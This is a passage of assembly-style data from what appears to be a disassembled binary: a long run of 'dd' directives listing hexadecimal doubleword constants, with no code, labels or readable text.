97D5DD96h dd 0DCFF7473h, 610B432Eh, 0AC5A63h, 0D450A115h, 665600A6h dd 3E4DB4C4h, 2579A210h, 0D0AE70C1h, 50E820E1h, 0BC7E003Ch dd 33A6B598h, 415ACB09h dd 3A9C0B1Fh, 30BCF9Ch, 20A30889h, 8C82C170h, 70F92401h dd 500C1737h, 7928EFCh, 3D66D85Bh, 0FA7D3C4h, 502E51A1h dd 9B3E5380h, 0DEACDB03h, 8EF39EEh, 27B1AFD8h, 35D64407h dd 5600984Ah, 69D0A9DCh, 501306A8h, 4926E362h, 0CD5096E4h dd 6F0F67ACh, 60D53134h, 0D1F6FD1Ch, 6CCE2A39h, 855803BCh dd 272103DBh, 0A7D95110h, 0E6630A7Dh, 80D00CCBh, 39E27928h dd 6B1DB90Bh, 0C48095F0h, 2D139718h, 0B487B38h, 0B07510AAh dd 3F6E1380h, 3D02EF08h, 4649766Ch, 0E1F4A06Ah, 3B96894Eh dd 29B08811h, 5E855061h, 0F5179800h, 0CC0BA331h, 16FF60Fh dd 3787B626h, 80B7D392h, 0C01FEAD9h, 0BC3113h, 0CAFDF13Fh dd 5D02CF40h, 0A3D44918h, 798FF329h, 0E2F8006Eh, 0C6B630ACh dd 1F0048F0h, 60E9263Ch, 371DA6B7h, 0C438A004h, 0F07000CFh dd 0E099B1Eh, 3A2E5B31h, 0A8529F00h, 8000E304h, 0B70E6F0Bh dd 92714762h, 0E7E50348h, 0C5C812C4h, 7C42B6F0h, 26A82300h dd 0A6D2BAF4h, 0BD223743h, 12982AF1h, 313909F0h, 0A81D8410h dd 105BB830h, 0CA3A944h, 3AB7708h, 11380799h, 50C27927h dd 20B8CB69h, 0C44DDC23h, 0A2F81100h, 0F47B80C3h, 0C9B0042h dd 0F3F64C55h, 0BC606741h, 0E5635631h, 80B661D0h, 711473FAh dd 658C0145h, 769C200Eh, 524FF00Ch, 2908E9h, 28FE4B4h dd 749FD97Ch, 0B4ABC32Ah, 4F441D15h, 7C1475F0h, 80F83E49h dd 0E9D0B595h, 0EE8A891h, 1D9F06E8h, 0F956AE74h, 0BB3DF001h dd 66E11076h, 3D92E424h, 0B1E46729h, 0A2FC8847h, 0C5EE5A00h dd 0C71A09E7h, 1442F843h, 0FCD6748Ch, 40741D8Fh, 207C683Ch dd 622AFBDFh, 6400B0E4h, 21E1221Fh, 34613F67h, 0C019388Ch dd 0D903277h, 80A93Dh, 289B342Dh, 1ACA5E8h, 2CB67CE6h dd 0D0F6F432h, 69002152h, 0A3CCD94Ch, 1F756309h, 1C539AF0h dd 20585BACh, 5DB938C0h, 3616D00h, 8D635EDFh, 0F14A03Ah dd 4633883Eh, 0FBA0C100h, 1B2A4C29h, 9801F9F5h, 49318025h dd 0FD7E2728h, 8BEC1FABh, 7445004Bh, 0E7959FA0h, 10ACB100h dd 652CCE31h, 3440F977h, 80206872h, 59C00A40h, 0EE195DDEh dd 0C0331D17h, 7FA2CFEAh, 8759B083h, 0FE693800h, 0ABBA70F4h dd 826A39BFh, 0BD168D80h, 0B0351573h, 0E894D700h, 0F855AC9Eh dd 0CF2C06D2h, 5A098412h, 0FE929D00h, 40D0962Dh, 4B79C00Ch dd 79F3DC42h, 4D56891Ch, 0DFC5AECFh, 150063DFh, 0CB2CD8CDh dd 0C1D46B9Fh, 2EEB0300h, 24F8B104h, 1671A400h, 0E16B5ADBh dd 75483AA3h, 80CAD794h, 71097BC6h, 0B6382375h, 66C8019Fh dd 0BA96B982h, 11318E0h, 0B2E5BF12h, 42E9289Dh, 7B234EF4h dd 0C4107FEh, 4041E1A7h, 638D0E8Fh, 20B8A950h, 2589E0A0h dd 0AD378682h, 7C2D00B1h, 3BC8B05Ah, 0EF0713C3h, 0C5F8EC05h dd 0D94FDCA0h, 7A5E39h, 445FFA65h, 0D100C73Fh, 729D4007h dd 1D202Ah, 602E355Ah, 368093AAh, 9EDCCC00h, 0B2D04DB8h dd 0F5E90029h, 373FA699h, 0F879A36Dh, 0A0AAA100h, 39FAA44Bh dd 3093600Fh, 209D3F14h, 8A087FEh, 9FF839E0h, 0E0049F0h dd 0C298BF78h, 77AE4h, 32EB271Ah, 729ECA2Ch, 75B17103h dd 0CA31795Dh, 574481AAh, 508FBE16h, 4401BC9Fh, 82520CE5h dd 65AD3310h, 1CC140CAh, 0C106159Bh, 0A7001035h, 9EE3CF39h dd 63033DB1h, 0C5AD38EAh, 0DC5CE07Ah, 49133FF9h, 7D24BA00h dd 843C4B31h, 0CF3738A4h, 4780C07Fh, 0D3854Ah, 9C63E14Fh dd 8CF9D8A2h, 0FAB73Dh, 4EC815BCh, 1975CEDh, 0BF05E264h dd 8A2D9FC7h, 8C8AE941h, 93562C80h, 73224h, 58AFD9D2h dd 7AE13EC9h, 3183F901h, 99FEAC97h, 0AAEEDE8h, 5C1A98F6h dd 2EE06290h, 0B457ACA0h, 0D7004572h, 0E8CF9395h, 0FE8DA1F6h dd 9BB10C50h, 233061A8h, 7195888h, 94A28085h, 36AAD15Eh dd 98A0DAE5h, 7208E2BCh, 8A2FC600h, 0F244EA9Dh, 0EB0E0A32h dd 408C0C82h, 80DD5230h, 2728C860h, 0FE75B681h, 34283909h dd 0B71C3448h, 47DC802Dh, 0A77298EFh, 56F69A00h, 0B6452E1Ch dd 5177008Bh, 38FB3429h, 3F0FF3EFh, 0E04AA0C2h, 2F6E2804h dd 0B899C379h, 6987C29h, 40006A7Bh, 0A248BE4Eh, 908430AAh dd 0F7C31044h, 0C464039Eh, 80CD1C88h, 0ACE363Ah, 70E3BF47h dd 209760A0h, 0C8A99666h, 0FCD2D49Dh, 7AAE901Eh, 8E04B9F1h dd 1B7C21A7h, 7E1DE400h, 5B2BE6h, 9B0AA3CAh, 3F88FF80h dd 0A91CA530h, 5CE2240h, 4ED4A428h, 0AF8F00B9h, 0AB18F347h dd 5E25E709h, 46CC18E1h, 6985E906h, 0C0B6132Bh, 0E15B5DD2h dd 4F0AD30Eh, 9B6C60A2h, 1F3C089h, 0F0AE7BA6h, 60FC0176h dd 0B005DD11h, 0FB8A064Fh, 9F08C460h, 7029488Dh, 8402760Ch dd 0BD0062F8h, 0E8CD5F19h, 72459552h, 1CEF13BEh, 0E9100241h dd 0BC029D9Ah, 9FC8B02Ch, 774422Fh, 65737B15h, 23C31F27h dd 0C4191206h, 71784083h, 80265BEAh, 11DECF1Ch, 42A20880h dd 4949BB3h, 46E1137Ah, 30BC8020h, 0F53A0AA0h, 328A83FEh dd 2212F04Ah, 45072D51h, 647A4C03h, 2EDB9830h, 81DC3EC7h dd 6B9D7983h, 0D2A1201Fh, 5758E023h, 0B185118h, 0B91BB1h dd 0A5B015CEh, 3205C598h, 93A2412Ch, 58204913h, 80537318h dd 943CE9C1h, 0D17580CAh, 0B32759D3h, 0AB330052h, 0FB1BC27Ah dd 0CECB164h, 409FACA8h, 0D362D500h, 6BE18FAFh, 802C994Ah dd 0B843F0Dh, 0C7804CFFh, 0E93D44B5h, 80B7DC30h, 1BC7C92h dd 6C66BF61h, 0C86FFC38h, 83D25EDh, 9D4900E5h, 11904C57h dd 0D8418ACh, 209851FAh, 9DC6DF09h, 27081A50h, 0CAE04EE8h dd 120C5ECBh, 485B7Ah, 9EEC2898h, 244C158Dh, 8F4D7D88h dd 0DDBE08E8h, 0CBE98AB7h, 281F40C0h, 0C200F673h, 20D14182h dd 0DBF8E4h, 13CC23AFh, 0E59E763Ah, 41872099h, 61BE452Ch dd 7883C757h, 0DC803508h, 0E0A9C91Fh, 0D39D2010h, 39793C00h dd 36B086Ah, 4878078Eh, 0A09995C6h, 5F5528AEh, 717D34Ch dd 0B283729Bh, 404E84FAh, 0DE62F220h, 9E23000Dh, 53390AAEh dd 444989C4h, 0E14530ECh, 394D046h, 2AB4247Fh, 0B6C91EFAh dd 7840D66Eh, 78990B57h, 0A0F1CC89h, 64677530h, 13DB07F0h dd 0E786316Dh, 0F591D19Ah, 1C9823B9h, 413517CFh, 0F6C4ABh dd 9882B696h, 280A2F3Bh, 0D851EA0Dh, 0EDAD62C0h, 13F2112Eh dd 0F9E9C648h, 1BED00B9h, 29751332h, 40484450h, 224F003Ch dd 9456D1E8h, 0A0B9FA80h, 32FAB6BFh, 0B2D0096Dh, 0A52A8844h dd 9202B820h, 491762C3h, 3358464Fh, 4D21CA42h, 0D03306F0h dd 83972B00h, 0C8C57E90h, 193E44A3h, 110876E9h, 18248B78h dd 0B71A4178h, 2495C8EAh, 85C4724Dh, 0AC40D0CAh, 0B212AD6h dd 0F72702B5h, 9DFC18EEh, 36AD7080h, 191D7A2Fh, 0D93E7848h dd 356C00E0h, 414DC120h, 0FD86F83Ah, 27948889h, 0C30A54A7h dd 0D83B227Eh, 0F71009B7h, 0B8F40850h, 3B18D300h, 24DF22FDh dd 0C1609DD4h, 0E0AC984Bh, 0CB05602Dh, 0D115D567h, 9B2FD498h dd 78225Ch, 585303CBh, 70137B07h, 80C0A658h, 7855FED3h dd 0FF210741h, 4003F7F8h, 0E5912AEBh, 50180249h, 6D3EB08Eh dd 0EA0802Dh, 7442A685h, 0AAA1669h, 443C4197h, 7295A3C7h dd 0A22230h, 4A86E691h, 920A2124h, 0F32D6F1Ch, 55B3AA40h dd 2E0C80A7h, 0C07C6588h, 17727B1Bh, 35222605h, 2C04A0C7h dd 8CC81F57h, 0C93860A5h, 92DEAFECh, 8BDFBE00h, 0F93E3F56h dd 136B2967h, 6CE48090h dd 0AFC00E2Ah, 142D4A2Eh, 0E08B41E0h, 1891EFh, 1791BBF1h dd 300574Eh, 5B34E3ECh, 0A8C71833h, 0EEEAACh, 86053C4Ah dd 6110E98Fh, 1603E03Ch, 0DC228C21h, 2CE52FA4h, 0D1E90346h dd 7C906C1Fh, 5C00B1ACh, 6E27D49Bh, 12D0FF8Ah, 564D7AC4h dd 6C243028h, 0D500CA7Dh, 0E499FD0Fh, 4D2DE15Ch, 4B80EC76h dd 3E5F7BA7h, 0E5ACD214h, 0D5CD8094h, 9445F3h, 28F532EEh dd 0EAAC9A48h, 892A600Eh, 6227689Fh, 3C80B5CAh, 1F3D3234h dd 5D6DB4A8h, 2C9C4056h, 7D3EEC1Dh, 714A2F35h, 415E8D82h dd 0EC08418Ch, 7D3A2CB9h, 6FE5302h, 40AC9DBBh, 0F23E97h dd 59803C0Ch, 0F6128643h, 5D40A00h, 6098C92Fh, 1F54BB5Dh dd 0A65178h, 6459AF22h, 735875h, 98FE42D2h, 71B10756h dd 0D4705B00h, 0E75F7943h, 9832463h, 0FFB05820h, 0CEF4D907h dd 52005992h, 469A3575h, 9FCA13C6h, 9083421h, 39138833h dd 883434D7h, 0A8015EB4h, 0E043C3EAh, 9441A024h, 29B98C05h dd 606B7A00h, 1E31F249h, 0DA06DE14h, 0AC9D24C5h, 32124F11h dd 183C8982h, 3F0739F8h, 6C8D0B1Ah, 24F2881Ch, 40FCE4F4h dd 5A4AE6EAh, 640BCB29h, 5137E00Ch, 86FAF6h, 5DCF08FEh dd 65DA466Bh, 8C6ED2FBh, 0E2DE716h, 0F8F2F020h, 403C13CCh dd 1D284872h, 168B6480h, 3F79B1E2h, 61006D87h, 0EC2C2B0Eh dd 0A414ADB6h, 216CA70Ah, 49D0084Ah, 7AE74260h, 0C8CD0A7Eh dd 60D428A8h, 787AD3Eh, 864D260Eh, 442C01F4h, 0E018773Bh dd 1D312160h, 12EFE966h, 60D4DA3Dh, 10C575Ch, 0B7C7D4A8h dd 86309B4Ch, 0A119BD78h, 487018E0h, 8C6492D1h, 23321AF4h dd 0DCC16925h, 467112A0h, 34615D54h, 0D544E980h, 0D81880B1h dd 9A3188F0h, 7A760063h, 0CC1DBD79h, 75018ACEh, 0DBB7A531h dd 50348709h, 2B9C0268h, 0AE9D6AD5h, 81945051h, 7D29CA4h dd 50D0C801h, 0B82C23B1h, 30E32F16h, 44BCBA24h, 0DB574300h dd 46747F0h, 4C3A02A1h, 0FB8A115Ah, 1852DCEEh, 0D3BA6094h dd 7CD863Eh, 0B0F2CAFCh, 0CDAC5A60h, 3A0C64E4h, 84513C1Eh dd 4089DC0h, 29DCB848h, 90BC0D82h, 4BB2C8A3h, 781B1402h dd 4105C858h, 0E096B53Dh, 814CCh, 74E9B74Ch, 6B1F3E2Ah dd 982DA625h, 2131CF10h, 94804D8Bh, 2EC21375h, 3A2B447Ch dd 92965B27h, 327C1018h, 142F507Fh, 0D9FA688Dh, 841F10FCh dd 98528CD7h, 0D5C5778h, 9562B070h, 5F8424A7h, 25919Ch dd 0D3049119h, 9815B5E7h, 0B0A2596h, 9C89E8ABh, 160FE818h dd 0BA026800h, 0E0B70513h, 33891EDEh, 0EA300104h, 915E9DE1h dd 0C42622A8h, 57C540E8h, 3500BDF5h, 60EEBE53h, 5C637B29h dd 0FB114C0Fh, 678D0483h, 0A5204DBDh, 0B42956B2h, 3E40B444h dd 58A907Bh, 0BE39CEFDh, 17884694h, 0F217B174h, 1A00F8B1h dd 0A21A705Eh, 4B860087h, 575D6BE6h, 0C909F761h, 48CA9E54h dd 1812EF6Ch, 8C4E6C31h, 6B246D15h, 0D1131FBCh, 7D529A00h dd 9289C51Dh, 7EE0320h, 46F3AEFEh, 0E99C8CC4h, 9800B491h dd 0A6183EFBh, 1C17E84h, 919F948Bh, 33B6C7CAh, 446CC4ECh dd 0BE453F80h, 107D3E1Dh, 60C4026h, 0E1500B82h, 2407A52Ch dd 0CCCEF640h, 8FDD00D9h, 50BF883Ah, 0A104DBFEh, 4E289E49h dd 0B07828C7h, 51D41F60h, 0BF865E1Eh, 42C1F026h, 20727820h dd 22793213h, 5452C46Ch, 52403107h, 0D2E01222h, 597C12Bh dd 59488F6Eh, 32388135h, 855200B7h, 0F95000CBh, 42B0FF53h dd 90E78CCh, 0A94AD516h, 99FC14D6h, 0CF50024h, 0A0FAE013h dd 20890CB3h, 748C18A1h, 0C84B8853h, 103CCF2Ch, 0F6459D80h dd 1FD243EFh, 0A85FD23h, 11BC2D6Dh, 17340C68h, 74971CEh dd 0B369319h, 60D11782h, 98BE77D4h, 0EC07C403h, 85DA492Dh dd 24239492h, 0D34C9828h, 80981748h, 9451799Dh, 86FE2C67h dd 974007B1h, 341230A5h, 63016DA6h, 9A4B576Ch, 68683FE7h dd 895B3D80h, 6E1DD035h, 1180946Ch, 5DED8E20h, 0E8010267h dd 0CA98315Ch, 0D000B044h, 8990B053h, 0B0F8F2Ah, 8155EF4h dd 4505A84Ch, 53E94678h, 522FA860h, 0CDE52A44h, 0F2C50084h dd 72358641h, 0D3E6C81Ah, 0C6BFF40Fh, 46680029h, 9876CBB6h dd 13572694h, 203C5938h, 8F4A900Ah, 5C21B060h, 2EDCA4F8h dd 60F0357Fh, 2F58EC97h, 2420FE5Ah, 7403B38h, 20AA3280h dd 5C6E90FCh, 0B047B66h, 3E0FB43Ah, 0C50A0F2h, 5F3703DFh dd 9EA7AB11h, 248D75E1h, 0BC942864h, 0CF853EC0h, 590409A3h dd 9C4955ADh, 96A180F7h, 0C1A3F8A1h, 64EE0F0Fh, 43B62BB1h dd 9513226Ch, 40185924h, 11C6A40h, 302B004Ah, 2BA7B44h dd 580085B3h, 0B417C6DAh, 0B13AA831h, 1C6080D4h, 0A0A24A98h dd 19353B2Dh, 0B8673F64h, 0D7981078h, 0A84D002Dh, 0E20EE916h dd 521307B7h, 90A58FFBh, 0C3F9CEF8h, 9A35BE0Bh, 40109920h dd 0D262439h, 6C546078h, 10712B3h, 0DB07AD7Bh, 73FE5FC0h dd 72920BA4h, 0C0901744h, 61E2C83Ah, 0E7387D07h, 27A19671h dd 88209E57h, 3732885Bh, 5413C72Ch, 92A69488h, 37ECD018h dd 0C300A73Ch, 8BA24149h, 1751E519h, 30EBB9B0h, 0D2985618h dd 68494304h, 44C242CAh, 80AF2535h, 92286008h, 0C3F1B20Ah dd 0CF808CA6h, 770E5C3Dh, 28482DEFh, 2D390439h, 4567C7C0h dd 4BB9F530h, 0E5C5AE1h, 2E717588h, 73080C27h, 60342C77h dd 0C0A3D90Ch, 1C56B802h, 66BF740Dh, 0E4C31504h, 35009CCDh dd 1C07776h, 0C400FE42h, 2857406Fh, 66BEF0h, 7D8E5FE8h dd 776DB92Fh, 0ECA63826h, 5AFD6440h, 7F9C77EEh, 0ABF502F4h dd 0D511416Eh, 933F0B60h, 89D8405Dh, 24106C19h, 50548866h dd 0D10FDD78h, 0AFA32E02h, 159720C3h, 6821F5h, 3916E4CBh dd 282631CAh, 88A144B9h, 47208027h, 0A0298032h, 8BA0A110h dd 3CBCF2E1h, 76951150h, 0F99BF13h, 80BC93FBh, 0F216607Ch dd 0A8C9619Fh, 0BB24824Ch, 6C0B0921h, 4EF3A048h, 0B3431500h dd 0D9ACEE8h, 4FB200A1h, 1EED60D2h, 9725682Ah, 6AD4B05Ch dd 0EE980519h, 0E6FE15DCh, 0F03F0010h, 3BD1A3C1h, 3DC8C9E7h dd 7AC45810h, 791879C0h, 3FB930DFh, 740EC6EFh, 65A03826h dd 121B5816h, 0B1325527h, 0DD10C87Ch, 0EB0BC066h, 0B1770h dd 7F8C1B74h, 39990972h, 98A009E5h, 0BDF722EEh, 0EAC71D00h dd 62E9BB7Eh, 2E57194h, 466DD203h, 0B8ABD42Ah, 8B9B4883h dd 0D8B2A0A7h, 5D5073EDh, 0F2051B4h, 43054ED9h, 212A1378h dd 2F4C71A8h, 2BFE6400h, 8C0BED28h, 0F8F9005Ch, 202A52DFh dd 8A2C75E0h, 0CAC06440h, 98933Eh, 5C0F9760h, 2235FBBBh dd 0D5A8494Ch, 1F57843Ch, 5DC740E4h, 8BA06CA4h, 72245F84h dd 0F88B45Dh, 2244908Eh, 88345883h, 26001C22h, 0E5D44DE7h dd 7A62F30h, 3C6DA274h, 2D36D3B6h, 0A0F0BEABh, 50012171h dd 28E7459Eh, 0E8685430h, 14486BD4h, 195DFF80h, 6E00F2BCh dd 732157B1h, 2C84AF31h, 44680A20h, 3A6471Dh, 0A9334AA0h dd 0E927019Eh, 3A074B8Fh, 2B429226h, 448BE08Ch, 355A6D28h dd 6498D816h, 84BD016Ch, 2DBE8087h, 104F2BA5h, 0F822E04Ah dd 28CD5F5h, 0A7F07FE8h, 68E0736Ch, 35FDCCC8h, 808468DCh dd 204734FBh, 0C4374CDCh, 2757A322h, 383106E8h, 9C9912FCh dd 0DD6E4064h, 5D00453Bh, 210318E7h, 0BB6FE8h, 4B4A902Ah dd 3437E30Ah, 4E60400Eh, 6D2FE4C4h, 5EA71C80h, 3E51058Fh dd 0CAC20487h, 537310E4h dd 22298200h, 0C9F5D9DEh, 0F017FC00h, 0C7A97E37h, 0FB904CA1h dd 0CAEC305Fh, 4B4E5CBh, 24537442h, 0E64F26Ch, 4AC8C9h dd 7FD2D585h, 1319F008h, 758DA1D0h, 4B2C0858h, 0C4B1578Bh dd 32154F68h, 0BD603900h, 8EDEE098h, 94309D96h, 0EBBE79Fh dd 20989A0Eh, 0AA3FB380h, 9D2E39C6h, 0B040DCA6h, 1DE3E9C5h dd 0BBB46C68h, 52DCAB80h, 0B6331130h, 87DDF314h, 0DCB4A594h dd 0C40B0083h, 40F2F24h, 0B84E0231h, 1038B832h, 700B3E15h dd 0C1EEAC9Dh, 0E1A58F70h, 7400B044h, 0A8534495h, 2791CB63h dd 0E494C0D1h, 80C00648h, 89347EC8h, 15A901A0h, 0CA462E68h dd 0A04D037Fh, 5A1C46Fh, 0E2EB1AA8h, 0BD158010h, 8476549Bh dd 0A6D67C09h, 0FC188089h, 9E0FF351h, 3C840D0h, 0F93EB4F2h dd 0C52F0092h, 0F4B70D0Ah, 9AAB2491h, 524EE2A0h, 0F8B6722Eh dd 84000622h, 57F6732Eh, 0D59E78h, 0FD40C953h, 87542BB4h dd 1294EC48h, 0B41F6D8Dh, 51BE2600h, 5049E9C8h, 8B9B982Dh dd 58544252h, 0B18874B0h, 161E00DAh, 0D35F9DD4h, 4F124B27h dd 8CD00572h, 0B8C6Fh, 7E0341F2h, 9D85253Eh, 3BD058h, 44E37BC9h dd 0B339D1A1h, 3E023D4Ch, 510E804Eh, 75007451h, 39AA037h dd 0C1B60713h, 0A01A7AF9h, 0FC46AD6Fh, 20837413h, 729554D0h dd 0E2A9046Ch, 0C8E5AE93h, 0CE7FA8BCh, 1738E648h, 48C8A25Fh dd 88F07813h, 70004CB2h, 0EE90DB9Bh, 6E1257h, 4EBC6297h dd 0CAB7EFF6h, 44D85C4Bh, 6A74BEA2h, 8C6608B0h, 295AD0A8h dd 4C304829h, 0E028BC2Dh, 272C2253h, 69878B05h, 0AE825D0Bh dd 4404795Ch, 8C852A7h, 9B784CB8h, 0CCF47B12h, 3F00B62Ch dd 44EC202Fh, 35C72DA9h, 0B0B18AA0h, 2A38B3B0h, 0C1BF8597h dd 0A984C871h, 1E7A308Ch, 65A27210h, 62001C6Ch, 3E5B78A4h dd 2686A8E2h, 50E4160Dh, 50A01483h, 0DA02BF3Dh, 19598C3Fh dd 443CE02Dh, 43389035h, 450B3E7Bh, 401EBAF7h, 27822030h dd 0C43171E5h, 13343DCAh, 0FF00C188h, 0A825B10Eh, 0C0100B33h dd 0F812753Ah, 420010F1h, 87D063D4h, 6DE4C8h, 4BC486CEh dd 0E113C991h, 0CB1DB70Eh, 5B4F606Ah, 1C63F5D8h, 0C0DAE6D6h dd 7FB7428Ah, 3739DD8Fh, 0F4330E39h, 0A2D34322h, 4F5AD895h dd 5025182Ah, 0AEC6182Ch, 0E71024Ch, 0F29C858h, 5B1D63E9h dd 0EFA990B0h, 0CBBC0565h, 0C054C0FEh, 0F423DED8h, 0CA296300h dd 850662F0h, 2DDF0043h, 0B1EC1D0Ah, 8D00EDAFh, 0CFDE96CBh dd 0F554F8h, 1ED56B15h, 7B03DFC6h, 845D9D00h, 0B02B22Bh dd 4701009Eh, 0A3666BC2h, 94008719h, 144E28E9h, 61813D21h dd 6415797Fh, 4900D339h, 0AC299E3Eh, 0D8E463h, 0F694C523h dd 5C15CB4Fh, 85293A6Eh, 200E7E47h, 0A4009161h, 4E1D204Ah dd 3F016FCBh, 458F7031h, 2080F54Fh, 0B37C1396h, 8E7298EAh dd 0E1DEC200h, 3FDC933Bh, 6FF418h, 6701B237h, 0C8804647h dd 70DE780Fh, 85520D7h, 75355768h, 3CA00FA2h, 6482E8ECh dd 0A8A0C7BCh, 7DA9BDF9h, 28130700h, 10743911h, 80CA6299h dd 62C1B323h, 989BF487h, 788D6C00h, 0E00A5BC7h, 4A3B189Ah dd 1FF428CCh, 8AE8E754h, 61F7A500h, 0BEEAD44h, 4A8514DEh dd 1538C4CEh, 3F6A998Ah, 38180CEEh, 57EA5678h, 8A58A000h dd 5DBD3A94h, 0A2292A14h, 0F8230DD8h, 0E061CA16h, 0D0A68B57h dd 64378503h, 0AE898D05h, 0CB7331h, 3FB74652h, 0AF14A276h dd 0E59F5100h, 0F587863Eh, 33A002Dh, 4076A7A1h, 54A460F9h dd 50A84CF0h, 1D0A9902h, 0B0D3BF92h, 4C4DB89h, 0F940AF4Ch dd 3A606142h, 4F2230C1h, 0F450F143h, 10CA23Fh, 5899C995h dd 26021F04h, 88850C30h, 53B9C3h, 0E871EC38h, 0BD584137h dd 2207C21Fh, 802D500Ah, 2F9DEE80h, 45E315h, 17DD90D5h dd 0F63CD4CBh, 0D1AADA09h, 1F44192Dh, 5B00B422h, 6ED4AFA5h dd 6A006369h, 0BF0A23A8h, 148194B2h, 0FC8A3C1Bh, 0C972280h dd 0FA00B14Bh, 67127DCBh, 5411BDB0h, 64E4C9h, 46425B9Dh dd 0C538B6EFh, 9EE0EC54h, 57D7B340h, 0D060D454h, 0EA3015E4h dd 23B86F56h, 308B0CDAh, 0DB01DE89h, 0A0266427h, 0F0E45909h dd 8DC000FBh, 5893C867h, 83052535h, 0BD2F571Bh, 1146009h dd 333F6934h, 88BB7820h, 0DD549448h, 720AD8CCh, 94E5554Bh dd 993F8103h, 0CE41001Ch, 9DC1F00Ah, 7A0AD301h, 0A42F509Ch dd 0FB078380h, 38FEE31h, 519BB5AAh, 0AE972EBBh, 3C3F7880h dd 24983797h, 0B9F8A100h, 0C167F3C5h, 589F07A0h, 1072B20Ah dd 4F4035Ah, 907AA928h, 993C3E09h, 59A820C1h, 7D52018Ch dd 3A103994h, 2405A2BEh, 0BC2E67h, 0EC476A74h, 0C5015C92h dd 24BAA3Dh, 40317766h, 80F564E4h, 31CB4E88h, 0FAFD01D6h dd 0EC80F827h, 45E6E86Dh, 0EA00066Bh, 3C5F1ACFh, 70CD910Bh dd 86549342h, 0A1D89D32h, 4C76F00h, 0AC6B08FDh, 2964A81Eh dd 71ED61A3h, 50E6FD4Fh, 19A72E9Ch, 0E5FF0CA0h, 8F13F89h dd 0FA89C830h, 0A63D26FDh, 0B315618Ch, 58FC2421h, 454C1498h dd 76819FACh, 0FB5C1601h, 0A3BB9E40h, 0CD1009D0h, 0D004C5A6h dd 0A015409Fh, 0A1DEC3FAh, 4443BED5h, 665FEA39h, 7DCF21D4h dd 8920B308h, 14104A95h, 0B9242FD5h, 14683467h, 904B3A8Ah dd 8DC76740h, 768424CDh, 98CC60F0h, 0A1FA42B2h, 588B7026h dd 0B5A7B840h, 0C690002h, 0FABFA39Ch, 4600B34Dh, 2BA1B1A6h dd 932CCA0Dh, 0E711ECh, 1CD75609h, 9BEF5DD5h, 0AE67805Ch dd 5A641A34h, 5C1EC4A4h, 0DB4F8B80h, 0DC163250h, 0B9F0041Dh dd 7A2C166h, 0AF9CD8E3h, 597700BEh, 0A97EFF22h, 286B9D09h dd 69EC305Bh, 0D947303Dh, 3FC73341h, 0D46CD204h, 0C8C1845h dd 0ECBD53D6h, 88D86604h, 4323004Dh, 0B073281Ah, 0B5D900B5h dd 0F93677F7h, 723AA995h, 8149BE7Eh, 3D388CFh, 420F402h dd 0C8EE8826h, 4458BDh, 1BAD2A12h, 260FAC10h, 87AA5702h dd 4156A249h, 2A112708h, 95F45030h, 4100DB5Dh, 0D78D8E49h dd 0C03345FFh, 0E97F9A59h, 0ABEE1D5Ch, 74142430h, 73B278DBh dd 0C9359h, 4608D49Bh, 791317E1h, 0D821FF65h, 51802744h dd 0A53B2CADh, 0D8005E45h, 4FB53E98h, 0B9AE2BB2h, 24A9881Ch dd 107D5242h, 968520B0h, 0C5F85F6Eh, 81BAA9h, 0B6B802D0h dd 41D40C3h, 78E42E66h, 0AC019940h, 0A58805F6h, 2126023Ch dd 30533EDCh, 96020190h, 0B1F29415h, 449B186Ah, 0A381306Eh dd 0F0F3A980h, 0B17F112h, 1F96DBCFh, 6007E080h, 0B007BC24h dd 50194571h, 0A68184AAh, 1C3E4E72h, 2F226427h, 3564F100h dd 0E2A2CD07h, 2D3C01E6h, 72B61731h, 221067D1h, 0E4B10001h dd 0D77BEA8Ah, 792C8949h, 6A12A38Ch, 0DE146C21h, 0D0AD2E10h dd 22087858h, 0CC2A5CF3h, 18C85580h, 0C324402Dh, 3BC17058h dd 244021AEh, 1BDD29Dh, 4C472BCh, 41426932h, 2DFCDD4h dd 38FC901Fh, 339000C4h, 68B56DD0h, 0E300BFBBh, 9293C7F3h dd 862AA610h, 391A1F30h, 329D20Dh, 163A8CC5h, 0EE98BFFCh dd 0FE7BF728h, 2336240Bh, 0DB0C199Dh, 0D8246003h, 1350701Bh dd 2C491218h, 34A9E056h, 8ABCA102h, 0E354FB30h, 79AE47h dd 4927ABC8h, 0B5FF25E5h, 77FA9E00h, 547C70Eh, 70D94CE4h dd 4A152C40h, 0C5843066h, 4F4DBD99h, 731F773Ch, 0F42EE93Bh dd 9D8C81CFh, 3E8272B3h, 0C79C33D7h, 3C019864h, 0AD16242Ch dd 8802F579h, 570004E4h, 0AB6645DCh, 2A4EA72h, 3A545C28h dd 1EC06942h dd 6E0C83Ch, 0F04C642Ch, 4AA1D440h, 9F88B1E6h, 5442233h dd 99CC0067h, 0A01B067Ah, 88947080h, 10810865h, 0BE113EB3h dd 9AC1ECF7h, 62953Fh, 97F9A102h, 946FE2FEh, 3DB2E374h dd 3CAE3900h, 6B7BE9C2h, 0FD7519AFh, 8729203Eh, 16D603E9h dd 85F01389h, 4829FC98h, 4F8378BCh, 0E1264A43h, 5048843Fh dd 3860DA81h, 76F8A34Fh, 90CD722Ch, 3C16100Ch, 58D85DFBh dd 5256005Dh, 0CD1C93DEh, 0A4DA04F1h, 8DA6D0F6h, 0D046C210h dd 9740C03h, 0C16940E3h, 0D8DFB54Ch, 0CB3F17Dh, 326416C4h dd 53583A89h, 0C70A8084h, 7C4F76FAh, 209D48AAh, 74210095h dd 2A12A0A3h, 8777B8D0h, 0EFE20EDBh, 0EEFC2567h, 5960059Fh dd 0D690DCB5h, 0DCB4C38Ah, 11E3F492h, 32D91017h, 0F0680029h dd 242F4043h, 7B1E0B9Bh, 0CCE8068Fh, 0D0535F4Bh, 36217470h dd 68584C64h, 0F70E9580h, 809CDC2h, 0E28896h, 563C0108h dd 33503092h, 99343929h, 5BA8311Ch, 0E11C9D82h, 0AB486020h dd 0D1ECA81Fh, 0BB80AC78h, 0ED243854h, 0D866129Ch, 2CB98B9Ch dd 0BD115400h, 4B49910h, 16893655h, 4E2888A8h, 7060DB61h dd 90275B65h, 671E10h, 9DB53A66h, 7351C40Eh, 6B3C2C22h dd 0F2886900h, 0A9E140F0h, 79766F27h, 4DC78C00h, 0ADBF5DE3h dd 61F8B31Eh, 70F8952Eh, 0EC7590F4h, 673FF892h, 0AD0B735Ch dd 803E1CC8h, 0DC438634h, 60B829h, 60669049h, 56484647h dd 18D77825h, 604465DCh, 5E3993Ah, 931D18EFh, 588981FEh dd 783280A0h, 4C41BF1h, 7ED7DB19h, 0DDA0A488h, 95422F07h dd 0C08ABC5Fh, 7C8843C4h, 8C409444h, 0BB5060E2h, 